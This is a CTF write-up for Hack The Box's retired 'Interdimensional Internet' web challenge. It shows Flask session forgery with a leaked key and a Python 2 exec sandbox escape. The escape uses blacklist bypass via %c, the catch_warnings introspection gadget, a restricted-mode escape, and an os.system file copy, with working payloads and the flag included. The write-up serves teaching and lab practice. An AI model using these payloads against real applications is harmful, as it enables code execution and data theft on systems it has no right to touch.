RouSoftware
all writeups
Hack The Box August 19, 2026

Interdimensional Internet

A Python exec chain exploitation that abuses a check->execute->execute chain, with a very restrictive 300 byte limit.

Web
target.dossier
platform
Hack The Box
type
Challenge
os
Linux
difficulty
medium
status
Retired
released
Dec 13, 2019
Contents

Interdimensional Internet — Flask Session Forgery to Python 2 Restricted-Mode Escape

Overview

Interdimensional Internet is a Rick-and-Morty-themed Web challenge whose easy-to-spot bug is a Flask session forgery, but whose interesting part is a Python 2 sandbox escape through an exec() that runs with __builtins__ set to None and an aggressive character blacklist.

The exec is easy to reach. Making it do anything is not. The blacklist removes every character that classic Python sandbox escapes rely on, and even after the standard introspection escape recovers the real __builtins__, Python 2's restricted execution mode silently refuses to open files. The challenge is really a sequence of small canonicalization and interpreter-behaviour details that have to line up.

My approach was:

  1. Read the leaked source from /debug and locate the injection point — a signed Flask session feeding exec().
  2. Forge session cookies using the leaked SECRET_KEY.
  3. Reach the exec() sink and understand the blacklist and length checks.
  4. Rebuild forbidden characters from allowed ones and find an output channel.
  5. Escape the __builtins__ = None sandbox with an introspection gadget.
  6. Defeat Python 2 restricted mode to regain file and process access.
  7. Locate and read the flag.

The application pins Python to 2.7.17, which — exactly like the Node version in a different challenge — turns out to be the most important clue.


Reading the Source

The front page is unremarkable, but the HTML ends with a comment:

HTML
<!-- /debug -->

The /debug endpoint returns the application's own source:

Python
@app.route('/debug')
def debug():
    return Response(open(__file__).read(), mimetype='text/plain')

The important parts are the secret key, the "Great Firewall" decorator, and the calculator:

Python
app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY', 'tlci0GhK8n5A18K1GTx6KPwfYjuuftWw')

def calc(recipe):
    global garage
    builtins, garage = {'__builtins__': None}, {}
    try: exec(recipe, builtins, garage)
    except: pass

def GFW(func): # Great Firewall of the observable universe and it's infinite timelines
    @functools.wraps(func)
    def federation(*args, **kwargs):
        ingredient = session.get('ingredient', None)
        measurements = session.get('measurements', None)

        recipe = '%s = %s' % (ingredient, measurements)
        if ingredient and measurements and len(recipe) >= 20:
            regex = re.compile('|'.join(map(re.escape, ['[', '(', '_', '.'])))
            matches = regex.findall(recipe)

            if matches:
                return render_template('index.html', blacklisted='Morty you dumbass: ' + ', '.join(set(matches)))

            if len(recipe) > 300:
                return func(*args, **kwargs) # ionic defibulizer can't handle more bytes than that

            calc(recipe)
            # return render_template('index.html', calculations=garage[ingredient])
            return func(*args, **kwargs) # rick deterrent

        ingredient = session['ingredient'] = ''.join(random.choice(string.lowercase) for _ in xrange(10))
        measurements = session['measurements'] = ''.join(map(str, [random.randint(1, 69), random.choice(['+', '-', '*']), random.randint(1,69)]))

        calc('%s = %s' % (ingredient, measurements))
        return render_template('index.html', calculations=garage[ingredient])
    return federation

The server banner confirms the runtime:

Server: Werkzeug/1.0.1 Python/2.7.17

Two facts jump out immediately:

  • The SECRET_KEY has a hardcoded fallback. If the environment does not override it, we can forge sessions.
  • ingredient and measurements come from the session, are concatenated into recipe = "<ingredient> = <measurements>", and that string is passed to exec().

So the input to a code-execution primitive is fully attacker-controlled — if we can write the session.


Forging the Session

Flask signs its session cookie; it does not encrypt it. The default cookie decodes cleanly:

{"ingredient":{" b":"em56dGZyc2Vqbg=="},"measurements":{" b":"NTcrMjA="}}

The {" b": base64} wrapper is TaggedJSONSerializer's representation of a Python 2 str (bytes). Decoding the values gives ingredient = "znztfrsejn" and measurements = "57+20", which produces the 77 shown on the page — znztfrsejn = 57+20.

To forge our own values we need Flask's exact signing scheme:

value      = urlsafe_b64( TaggedJSONSerializer(payload) )
timestamp  = urlsafe_b64( big-endian epoch seconds )
key        = HMAC-SHA1( SECRET_KEY, salt="cookie-session" )
signature  = urlsafe_b64( HMAC-SHA1( key, value + "." + timestamp ) )
cookie     = value + "." + timestamp + "." + signature

There was no Flask available locally, so I reimplemented the signer with only hmac, hashlib, base64, and struct, then verified it against the real cookie: re-signing the original payload with its original timestamp reproduced the server's signature byte-for-byte.

mine:   eyJpbmdyZWRpZW50Ijp7...rLoLtkdmfw-l2WvEt0j_HitiGTE
known:  eyJpbmdyZWRpZW50Ijp7...rLoLtkdmfw-l2WvEt0j_HitiGTE
MATCH:  True

That match confirms the challenge is using the fallback key, and we can now set ingredient and measurements to anything. When forging, both values are stored as byte-tagged strings so the Python 2 application reads them as str.


Reaching exec()

The GFW decorator gates the interesting branch. To reach calc(recipe), our forged recipe must satisfy:

ingredient and measurements   # both truthy
len(recipe) >= 20             # long enough
len(recipe) <= 300            # short enough (>300 skips calc)
no character in [ ( _ .       # blacklist

recipe is literally ingredient + " = " + measurements, so we can inject arbitrary statements by putting a newline in measurements. For example ingredient = "a", measurements = "1\n<more code>" runs a = 1 and then whatever follows.

The blacklist is the real obstacle:

Python
regex = re.compile('|'.join(map(re.escape, ['[', '(', '_', '.'])))

It forbids [, (, _, and . anywhere in the recipe, including inside string literals. Every standard Python sandbox escape uses all four:

Python
().__class__.__bases__[0].__subclasses__()
#^ (         ^ .  ^ _     ^ [

So the escape has to be written without ever typing those bytes.

Rebuilding forbidden characters

Only the opening [ and ( are blocked. The closing ] (93) and ) (41) are allowed, as are digits, letters, %, +, quotes, {, }, and =. That leaves %-formatting as a way to synthesize any byte:

Python
'%c' % 40   # -> '('
'%c' % 46   # -> '.'
'%c' % 91   # -> '['
'%c' % 95   # -> '_'

The plan: build the real payload as a string using only allowed characters, then exec it. The inner string is compiled fresh and is not subject to the blacklist — only the outer recipe is scanned.

Because dunder-heavy payloads use _ and . constantly, I defined single-character helper variables once and reused them, which is essential for staying under the 300-byte cap:

u = '%c'%95    # _
d = '%c'%46    # .
o = '%c'%40    # (
q = '%c'%91    # [
m = u+u        # __
p = d+m        # .__

A small builder tokenizes the target payload, emits allowed runs as literals, and substitutes helper variables for every forbidden byte. The recipe then looks like:

u = '%c'%95
d='%c'%46
o='%c'%40
q='%c'%91
m=u+u
p=d+m
exec'<payload rebuilt from literals + helpers>'

Finding an Output Channel

Before building an escape, there is a subtler problem: the interesting branch returns nothing useful.

Python
calc(recipe)
# return render_template('index.html', calculations=garage[ingredient])   # commented out!
return func(*args, **kwargs)   # renders index.html with an empty <h1>

The line that would have shown garage[ingredient] is commented out. Confirming this against the live server, a valid computed recipe returns the page with an empty heading — no result is reflected:

HTML
<body>
    <img class='mx-auto d-block img-responsive' src='...'>
    <!-- <h1> is empty -->
</body>

The only branch that reflects a value is the else branch, which regenerates random ingredient/measurements before rendering, so we cannot steer it. The blacklisted branch only echoes which forbidden characters we used.

So the sink is effectively blind. Whatever we execute has to smuggle its output back out of band.

The channel that works is the session itself. Setting a key on the current request's Flask session marks it modified, and Flask serializes it into the response's Set-Cookie header. If our payload can reach flask.session, it can write the flag into a cookie we then decode:

exec sets  flask.session["x"] = <data>
                     |
                     v
Flask re-signs the session
                     |
                     v
Set-Cookie: session=...   (compressed, so it begins with ".")
                     |
                     v
we decode it offline

When the payload is large, Flask zlib-compresses the cookie and prefixes it with .; the decoder has to handle that.


Escaping __builtins__ = None

The exec globals are {'__builtins__': None}. That removes every builtin name — open, __import__, even chr. The instinctive fix, exec code in {}, does not work here.

Detour: why exec code in {} fails

Normally, executing code with a fresh globals dict that lacks __builtins__ makes CPython inject the real builtins. But that injection copies the builtins of the calling frame, and our calling frame is already neutered. In CPython 2, when the outer frame's __builtins__ is None, the nested exec ... in {} receives a minimal builtins containing only {'None': None}:

outer exec:  globals = {'__builtins__': None}      -> restricted, f_builtins = None
     |
     v
inner exec code in {}   -> new dict has no '__builtins__'
     |
     v
CPython builds a MINIMAL builtins: {'None': None}
     |
     v
open / __import__ / chr  ->  all NameError

So we cannot recover builtins by asking Python nicely.

The introspection gadget

The reliable escape walks the object graph, which does not need builtins at all — only attribute access, subscription, and a call. All of those characters are forbidden in the recipe, but they are legal inside the payload string we build with helpers:

Python
().__class__.__base__.__subclasses__()[59]()._module.__builtins__

Index 59 is warnings.catch_warnings. Its _module attribute is the warnings module, whose __builtins__ is the real builtins dictionary. Call this b.

With b in hand, b["__import__"] and friends are available. Writing the flask session confirms end-to-end control:

Python
b = ().__class__.__base__.__subclasses__()[59]()._module.__builtins__
b["__import__"]("flask").session["x"] = "PWN"

Triggering / with this forged recipe returns a Set-Cookie whose decoded session contains x = "PWN". The blind channel works, and b is the real builtins dict (143 entries; open and file both present).


Defeating Python 2 Restricted Mode

Reading the flag should now be trivial — except it isn't. Every attempt to open a file returns nothing, even for files that demonstrably exist. Capturing the exception through the session reveals the real problem:

IOError('file() constructor not accessible in restricted mode',)

This is Python 2 restricted execution mode. When a frame's __builtins__ is not the real interpreter builtins, CPython flags the frame as restricted and blocks a set of "unsafe" operations — most importantly file() and open(). Our real open function exists, but calling it from inside the restricted frame is refused.

Crucially, this is a per-frame property. A brand-new frame whose globals carry the real builtins is not restricted. We already hold that dictionary in b, so we can spawn a clean frame with a second exec:

Python
exec CODE in {"__builtins__": b}

Inside that frame, __builtins__ equals the interpreter's real builtins, restricted mode is off, and open works. Reading /dev/null proves it — the session comes back with x = "" (the empty contents), which only happens if open actually ran:

restricted outer exec        ->  open() blocked
        |
        v
exec CODE in {"__builtins__": b}   ->  NON-restricted frame
        |
        v
open("/dev/null").read()     ->  ""   (works)

What survives restricted mode and what does not turned out to be the map for the rest of the exploit:

Operation Restricted outer frame Non-restricted inner frame
os.listdir, os.getcwd, os.stat, os.access works works
os.system works works
open / file / os.open blocked works
os.symlink / os.rename / write blocked works

The pattern is that operations which merely inspect metadata are allowed, while anything that opens a file descriptor is restricted. os.system, interestingly, is not — it forks and execs, which does not go through the restricted file path.


Locating the Flag

os functions that do not open files work even in the restricted outer frame, so enumeration is cheap:

Python
b["__import__"]("os").getcwd()          # /app
b["__import__"]("os").listdir(".")      # ['app.py', 'templates', 'totally_not_a_loooooooong_flaaaaag']

The flag file is /app/totally_not_a_loooooooong_flaaaaag. Two more probes, storing the boolean directly into the session, settle where we can write:

Python
o.access("/tmp", 2)   # True   (writable)
o.access("/app", 2)   # False  (read-only)

So /app cannot be modified, but /tmp can.

The length budget

The recipe cap of 300 bytes is tight. The escape (b = ...), the helper definitions, the non-restricted exec wrapper, and the flask-session write together consume most of the budget, and the flag's 34-character name — with four underscores that each cost extra to encode — repeatedly pushed the payload over 300. Several otherwise-correct one-shot reads measured 305–349 bytes.

The escape from the length problem is the same observation about restricted mode: os.system works in the restricted frame, needs no exec wrapper, and lets the shell do the file handling — including glob expansion, so the long filename never appears in the recipe.


The Exploit

The final chain is two forged requests.

Stage 1 — copy the flag into a writable, short path

Python
b = ().__class__.__base__.__subclasses__()[59]()._module.__builtins__
b["__import__"]("os").system("cat total*>/tmp/z")

os.system is not restricted, so this runs even in the neutered frame. The shell expands total* to the flag file (note: *flag* would not match — the filename ends in flaaaaag, which does not contain the substring flag), and redirects its contents to /tmp/z.

Rebuilt through the helper substitution and forged into the session, this recipe is 232 bytes — comfortably under the cap.

Stage 2 — read the short path with a non-restricted exec

Python
b = ().__class__.__base__.__subclasses__()[59]()._module.__builtins__
exec '__import__("flask").session["x"]=open("/tmp/z").read()' in {"__builtins__": b}

The inner exec runs in a non-restricted frame, so open("/tmp/z").read() succeeds, and the result is written into flask.session. Triggering / returns a Set-Cookie whose decoded session holds the flag:

x = HTB{d1d_y0u_h4v3_FuN_c4lcul4t1nG_Th3_d4rK_m4tt3r?!}

The full chain:

/debug  ->  leaks source + SECRET_KEY fallback
        |
        v
forge Flask session   (ingredient, measurements)
        |
        v
recipe reaches exec(recipe, {'__builtins__': None}, garage)
        |
        v
blacklist [ ( _ .    ->  rebuild bytes with '%c'%N + helpers
        |
        v
introspection gadget ->  b = real __builtins__
        |
        v
Python 2 restricted mode blocks open()
        |
        +-- os.system (not restricted): cat total* > /tmp/z
        |
        +-- exec ... in {"__builtins__": b}: open("/tmp/z").read()
        |
        v
flag written to flask.session  ->  Set-Cookie  ->  decode  ->  flag

Comparing the Read Gadgets

Several paths lead to the flag once b is recovered. The length cap decided which was practical.

Gadget Idea Under 300 bytes?
exec code in {} recover builtins from empty globals fails — minimal {'None': None}
open(...) in outer frame read the flag directly blocked by restricted mode
exec ... in {"__builtins__": b} + open("flagname") non-restricted read by full name no — long filename overflows
exec ... in {"__builtins__": b} + open(listdir(".")[2]) non-restricted read by directory index no — double __import__ overflows
hard link flag → /tmp/z, then read avoid the long name link fails (cross-device)
symlink flag → /tmp/z, then read avoid the long name needs absolute source (305 bytes)
os.system("cat total*>/tmp/z") + non-restricted read of /tmp/z shell glob + writable short path yes (232 + 295)

The os.system split wins because it moves both the file handling and the globbing into the shell, sidestepping restricted mode and the filename length in one move.


Why the Challenge Works

There are three independent details, and all of them have to be understood together.

1. The session is trusted because it is signed

Flask sessions are integrity-protected, not confidential. A leaked signing key turns "the client cannot tamper with this" into "the client authors this." The /debug endpoint handing out the source — including the fallback SECRET_KEY — is what makes the whole chain possible.

2. The blacklist filters characters, not capability

Blocking [, (, _, and . looks like it neutralizes every Python escape, and it does neutralize the literal ones. But those bytes can be reconstructed at runtime with %-formatting, and the reconstructed string is compiled in a context the blacklist never sees:

recipe checked by regex:     exec'...'  (no forbidden bytes)
string compiled by exec:     ().__class__.__base__...  (all forbidden bytes)

The filter and the interpreter operate on two different representations of the same program — the same shape of bug as validating a raw request body and then decoding it.

3. __builtins__ = None is a sandbox, and Python 2 has a real one

Setting __builtins__ to None is the classic "safe exec," but Python 2's restricted mode is both stronger and weaker than it appears: it genuinely blocks open/file, yet it is only a per-frame flag, so a nested exec with real builtins clears it. And it never covered os.system at all, which is the operation that ultimately mattered.


Conclusion

The initial bug — a forgeable Flask session feeding an exec() — is easy to spot. The interesting work is everything after: rebuilding forbidden syntax from %c, recovering the real builtins through the object graph when the obvious trick yields only {'None': None}, discovering that Python 2 restricted mode blocks the file read, and realizing that the same restricted mode leaves os.system wide open.

As with most sandbox challenges, the primitive is only half the exploit. The impact came from stacking several individually harmless interpreter behaviours — %-formatting, subclass introspection, per-frame restriction, and an unguarded os.system — into a single path from a signed cookie to cat.

HTB{d1d_y0u_h4v3_FuN_c4lcul4t1nG_Th3_d4rK_m4tt3r?!}

References

Interdimensional Internet — RouSoftware